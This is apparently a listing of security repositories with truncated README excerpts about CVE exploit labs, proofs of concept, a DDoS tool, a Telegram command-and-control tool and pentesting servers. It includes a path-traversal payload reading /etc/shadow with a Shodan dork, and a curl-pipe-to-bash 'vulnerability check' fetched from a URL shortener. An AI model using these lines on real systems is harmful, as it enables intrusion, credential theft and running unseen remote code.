CVE-2026-64849-poc-lab

Security Lab — SSRF Exploitation in MLflow Webhooks CVE-2026-64849 · MLflow Restricted use: lab material, only for authorized networks and environments. See Legal notice. 1. Executive summary Attribute| Value ---|--- Vulnerability| CVE-2026-64849 — SSRF via Webhook Redirect Bypass Affected...

DDos_Attack.py

NetSTRIK - Herramienta de Ataque DDoS ⚡ NetSTRIK es una potente herramienta de ataque DDoS Denegación de Servicio Distribuida que simula tráfico intenso para probar la robustez y seguridad de servidores, redes y sitios web bajo estrés. Está diseñada para ayudar a los probadores de penetración,...

CVE-2017-16568

CVE-2017-16568 1. Título del exploit: Logitech Media Server : inyección y ejecución de código HTML. 2. Dork de Shodan: Buscar Logitech Media Server 3. Fecha: 11/03/2017 4. Autor del exploit: Dewank Pant 5. Página del proveedor: www.logitech.com 6. Versión: 7.9.0 7. Probado en: Windows 10, Linux...

php_hack

Esta herramienta explota una vulnerabilidad llamada CVE-2019-11043, una instancia de aritmética de punteros insegura, para obtener acceso a servidores PHP mal configurados. Se puede descargar aquí necesitarás ejecutarlo desde la línea de comandos Uso: phphack target IP target port...

tengu

Tengu — Servidor MCP de Pentesting "En la mitología japonesa, el Tengu es un feroz espíritu de la montaña — maestro estratega, guerrero y entrenador de samuráis. En ciberseguridad, te guía a través de cada fase de la caza." Desde el reconocimiento hasta el informe — pentesting asistido por IA en ...

attack_range

Splunk Attack Range v5 The Splunk Attack Range builds instrumented cloud environments AWS, Azure, GCP, simulates attacks, and forwards data into Splunk for detection development and testing. What it does: Build labs — Deploy a small, production-like lab Splunk, Windows/Linux servers, optional Kal...

WPS-CVE-2022-24934

APOYO A UKARINE ¡Putin ES UN CRIMINAL! Advertencia ¡ESTE PROGRAMA USA GENERIC QUE FUE INTRODUCIDO EN GO 1.18, ACTUALIZA TU COMPILADOR! CVE-2022-24934 Servidor web para explotar esta vulnerabilidad utilizando wpsupdate.exe PoC de servidor falso de actualización de WPS Solo con fines de...

CVE-2014-6271

CVE-2014-6271 - Shellshock.py Exploit de Shellshock, también conocido como CVE-2014-6271. Probado en Bash 3.2 y Bash 4.2. Para más información sobre la vulnerabilidad visita: https://nvd.nist.gov/vuln/detail/CVE-2014-6271 Nota El exploit se probó principalmente en Hack The Box en las siguientes...

h3-cli

NodeZero MCP Server The NodeZero MCP Server is now available, enabling you to run and manage a locally hosted MCP Server that brings NodeZero’s Find, Fix, Verify FFV capabilities directly to your development and security workflows. MCP Readme h3-cli: CLI tool for the Horizon3.ai API h3-cli is a...

CVE-2021-41773

CVE-2021-41773 Vulnerabilidad de Path Traversal en Apache 2.4.49 Este problema solo afecta a Apache 2.4.49 y no a versiones anteriores. MÁS INFORMACIÓN https://pentesterguruji-notes.notion.site/CVE-2021-41733-f58b52f484b94671b319c107ac2739bf...

CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit

🔐 ReactRCE-Scanner CVE-2025-55182 — Advanced React Server Components RCE Exploit & Assessment Framework 📑 Table of Contents Legal Disclaimer & Ethical Notice Overview Key Capabilities Quick Start Guide Architecture & Feature Deep Dive Configuration Reference Automated Test Suite Remediation &...

mailinabox

Mail-in-a-Box By @JoshData and contributors. Mail-in-a-Box helps individuals take back control of their email by defining a one-click, easy-to-deploy SMTP+everything else server: a mail server in a box. Please seehttps://mailinabox.email for the project's website and setup guide! Our goals are to...

goshs

Estás en plena intervención. Necesitas transferir un archivo, capturar un hash SMB o levantar un servidor HTTPS rápido — y python3 -m http.server no te sirve. goshs es un servidor de archivos de un solo binario, diseñado para los momentos en los que necesitas más que el SimpleHTTPServer de Python...

CVE-2025-5548

Lab de Explotacion - CVE-2025-5548 FreeFloat FTP Repositorio de laboratorio orientado a la explotacion controlada del CVE-2025-5548 en FreeFloat FTP Server, sobre entorno Windows y en VM aislada. El proyecto esta dividido en dos bloques: Environment/: preparacion del entorno herramientas, IDEs,...

CVE-2020-14065

Icewarp Email Server 12.3.0.1 unlimitedfileupload https://nvd.nist.gov/vuln/detail/CVE-2020-14065...

CVE-2017-9833

CVE-2017-9833 Reference: https://www.cvedetails.com/cve/CVE-2017-9833/ Shodan dork: product:"Boa Web Server" 0.94.14rc21 Payload: /cgi-bin/wapopen/?FILECAMERA=../../etc/shadow POC:...

CVE-2024-6387

CVE-2024-6387 comprueba si tu servidor es vulnerable a CVE-2024-6387 mediante el siguiente script bash de una línea: curl -fsSL https://dub.sh/cve-2024-6387-CN |bash...

telegram-c2

Telegram C2 Comando y control de un servidor a través de bots de Telegram. Instalación Tutorial Video Crea un bot de Telegram Edita main.py, establece BOTAPIKEY como la clave API del bot y telegramuserid como tu ID de Telegram Instala las siguientes dependencias pip install -r requirements.txt...

PoC-Apache-CVE-2021-41773-Infrastructure-LAB

Apache CVE-2021-41773 — Laboratorio Docker PoC Aviso de Seguridad Este repositorio reproduce una vulnerabilidad divulgada públicamente y parcheada en un entorno controlado de laboratorio Docker con fines educativos y de investigación. El entorno es intencionalmente vulnerable y solo debe...

CVE-2022-30136

CVE-2022-30136 Windows Network File System Remote exploit DoS PoC PoC: https://github.com/fortra/CVE-2022-30136 Details: https://www.coresecurity.com/core-l...136-windows-network-file-system-vulnerability Affected Products : Windows servers 2016, 2019...